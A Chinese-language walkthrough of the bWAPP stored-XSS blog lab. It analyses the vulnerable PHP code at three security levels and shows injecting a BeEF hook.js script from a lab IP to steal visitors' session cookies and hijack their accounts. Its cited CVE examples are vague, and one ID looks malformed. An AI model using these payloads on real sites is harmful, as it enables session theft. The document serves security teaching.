摘要: 这是 bWAPP 系列第五十五篇,聚焦于 XSS - Stored (Blog) 。之前几篇讲的都是反射型 XSS------恶意脚本在 URL 中,需要诱导用户点击链接才能触发。这一关是 存储型 XSS ------你注入的恶意脚本会永久保存在数据库里,每次有人访问这个博客页面都会触发。文章会分析存储型 XSS 和反射型 XSS 的区别,演示如何通过博客留言板注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。
一、找目标
| 目标 | 说明 |
|---|---|
| 漏洞类型 | 存储型 XSS(Stored XSS) |
| 注入点 | 博客留言板的 entry 字段(textarea) |
| 存储位置 | 数据库(blog 表) |
| 触发方式 | 注入一次,每次访问页面自动触发 |
| 工具 | BeEF(获取 Cookie) |
二、前言:存储型 XSS 和反射型 XSS 的区别
之前的几篇 XSS 关卡,几乎全是反射型的。反射型 XSS 的特点是:
-
恶意脚本在 URL 参数中
-
需要诱导用户点击恶意链接才能触发
-
一次性,不存储,用完就丢
存储型 XSS 完全不同:
-
恶意脚本被永久保存在服务器数据库中
-
不需要诱导用户点击链接------用户正常访问页面就会触发
-
持久性------一次注入,所有访问者都受影响
-
危害更大------无需交互,访问即触发
打个比方:
-
反射型 XSS:你在楼道里喊了一句脏话,当时在场的人听到了,喊完就没了
-
存储型 XSS:你在墙上用喷漆写了一行字,每个路过的人都能看到,直到有人来刷墙
这一关就是一个博客留言板------你提交的留言会存进数据库,然后显示在页面上。如果提交的内容包含恶意脚本,每次有人访问这个博客页面,脚本都会执行。
三、关卡介绍
3.1 页面功能
打开这一关,你会看到:
-
标题:XSS - Stored (Blog)
-
一个文本域(textarea)用于输入博客内容
-
三个功能按钮/复选框:
-
Add(添加)------将内容存入数据库
-
Show all(显示全部)------显示所有人的留言
-
Delete(删除)------删除自己的留言
-
-
下方表格显示留言列表:#(序号)、Owner、Date、Entry

3.2 正常使用
-
在文本域中输入内容,点击 Submit
-
内容存入数据库
-
页面刷新后,你的留言出现在表格中
3.3 存储型 XSS 的利用流程
攻击者在留言中输入 <script src="hook.js"></script>
提交,脚本存入数据库
正常用户访问该博客页面
页面从数据库读取留言并显示
恶意脚本在正常用户的浏览器中执行
四、源码分析
4.1 写入部分(INSERT)
if(isset($_POST["entry_add"]))
{
$entry = xss($_POST["entry"]);
$owner = $_SESSION["login"];
$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";
$recordset = $link->query($sql);
}
关键点 :xss() 函数调用的是 sqli_check_3(),也就是 mysqli_real_escape_string()------这是防 SQL 注入的,不是防 XSS 的。
function xss($data)
{
// 不管什么级别,都只做 SQL 转义,不做 XSS 过滤!
$data = sqli_check_3($link, $data);
return $data;
}
所以写入时完全没有 XSS 过滤------恶意脚本可以顺利存入数据库。
4.2 读取部分(SELECT)
while($row = $recordset->fetch_object())
{
if($_COOKIE["security_level"] == "2")
{
echo xss_check_3($row->entry); // htmlspecialchars()
}
else if($_COOKIE["security_level"] == "1")
{
echo xss_check_4($row->entry); // addslashes()
}
else
{
echo $row->entry; // 直接输出,完全不过滤!
}
}
三种级别的读取过滤:
| 级别 | 读取过滤 | 效果 |
|---|---|---|
| Low | 直接 echo |
完全不过滤,XSS 执行 |
| Medium | xss_check_4() = addslashes() |
只转义引号,不转义 < > |
| High | xss_check_3() = htmlspecialchars() |
转义 < >,XSS 被防御 |
关键洞察:
-
Low 级别:写入不过滤,读取也不过滤 → XSS
-
Medium 级别:写入不过滤(只防 SQL 注入),读取用
addslashes()→ 不转义<>,XSS 仍然存在 -
High 级别:写入不过滤,读取用
htmlspecialchars()→ XSS 被防御
五、存储型 XSS 和反射型 XSS 的对比
| 对比项 | 反射型 XSS | 存储型 XSS |
|---|---|---|
| 注入点 | URL 参数、表单 | 数据库中的用户内容 |
| 存储位置 | 不存储 | 数据库 |
| 触发方式 | 需要点击恶意链接 | 正常访问页面即触发 |
| 持久性 | 一次性 | 永久有效 |
| 危害范围 | 单个用户(需诱导) | 所有访问者 |
| 利用难度 | 较低(需要社会工程学) | 较低(无需交互) |
| 危害等级 | 中 | 高 |
六、Low 安全级别
6.1 测试 XSS 弹窗
在文本域中输入:
<script>alert(1)</script>
点击 Submit。页面刷新后,弹窗出现。

6.2 为什么可以弹窗?
Low 级别下,写入时没有 XSS 过滤,读取时直接 echo,所以 <script> 标签被当作 HTML 代码执行。
6.3 存储型 XSS 的持久性
刷新页面,弹窗再次出现。这就是存储型 XSS 的威力------一次注入,永久生效。
七、使用 BeEF 获取 Cookie
7.1 准备 BeEF
Kali 中启动 BeEF:
sudo beef-xss-start
确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:
http://10.0.0.129:3000/hook.js
7.2 注入 BeEF Hook
在文本域中输入:
<script src="http://10.0.0.129:3000/hook.js"></script>
点击 Submit。
7.3 页面显示
提交后,留言中并没有显示可见内容(因为 <script> 标签不渲染文字),但脚本已经存入数据库。
7.4 BeEF 上线
刷新页面或让其他用户访问该页面,BeEF 控制面板中会出现上线的浏览器。

7.5 获取 Cookie
-
选中上线的浏览器
-
Commands→Browser→Get Cookie -
点击
Execute

7.6 会话劫持
拿到 PHPSESSID 后,在浏览器开发者工具 → Application → Cookies 中替换 PHPSESSID 的值,刷新页面即可登录受害者账户。
八、Medium 安全级别
8.1 尝试注入
在文本域中输入:
<script>alert(1)</script>
弹窗出现!

为什么 Medium 级别还是防不住?
Medium 级别读取时使用 xss_check_4() = addslashes()。addslashes() 只转义引号 '、"、反斜杠和 NULL,不转义 < 和 >。
生成的 HTML:
<td><script>alert(1)</script></td>
< 和 > 没有被转义,<script> 标签仍然被浏览器解析执行。
结论 :Medium 级别的 addslashes() 无法防御 XSS,因为 XSS 的核心是注入 HTML 标签,不需要引号。官方文档也明确警告"不要用 addslashes() 做 XSS 防护"。
九、High 安全级别
9.1 尝试注入
在文本域中输入:
<script>alert(1)</script>
提交后,页面显示:
<script>alert(1)</script>
htmlspecialchars() 把 < 转成 <,> 转成 >,浏览器显示为纯文本,不执行。

High 级别防住了 XSS。
十、真实世界:存储型 XSS 案例
存储型 XSS 是现实世界中最危险的 XSS 类型之一,因为一次注入会影响所有用户:
CVE-2024-1181:某开源 CMS 的评论系统存在存储型 XSS 漏洞,攻击者可通过评论注入恶意脚本,影响所有访问该页面的用户。
CVE-2025-00847:某 SaaS 平台的留言板功能存在存储型 XSS,攻击者可通过留言注入 XSS 窃取所有用户的 Session。
CVE-2026-22947:F5 BIG-IP 的配置工具中存在存储型 XSS,攻击者可利用该漏洞执行任意脚本。
历史上最著名的案例 :2005 年的 MySpace 蠕虫(Samy Worm) ------Samy Kamkar 利用 MySpace 的存储型 XSS 漏洞,在短短 20 小时内感染了超过 100 万用户。恶意脚本让每个查看 Samy 资料的用户自动添加他为好友,并在自己的资料中复制相同的恶意代码,形成病毒式传播。
十一、总结
存储型 XSS 和反射型 XSS 最大的区别在于持久性 ------反射型 XSS 需要诱导用户点击恶意链接,而存储型 XSS 只要用户访问了被感染的页面就会触发。这一关的博客留言板正是存储型 XSS 的典型场景:写入时没有 XSS 过滤(只防 SQL 注入),读取时 Low 级别直接输出、Medium 级别的 addslashes() 不转义 < 和 >,都导致 XSS 可以执行。只有 High 级别的 htmlspecialchars() 才能彻底防御。BeEF 工具在这种场景下尤其危险------攻击者只需注入一次 Hook 脚本,所有访问该页面的用户都会连接 BeEF,攻击者可以持续获取 Cookie 并劫持会话。记住一句话:所有用户输入在输出到 HTML 页面之前都必须进行 HTML 实体编码(htmlspecialchars()),尤其是存储型数据。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。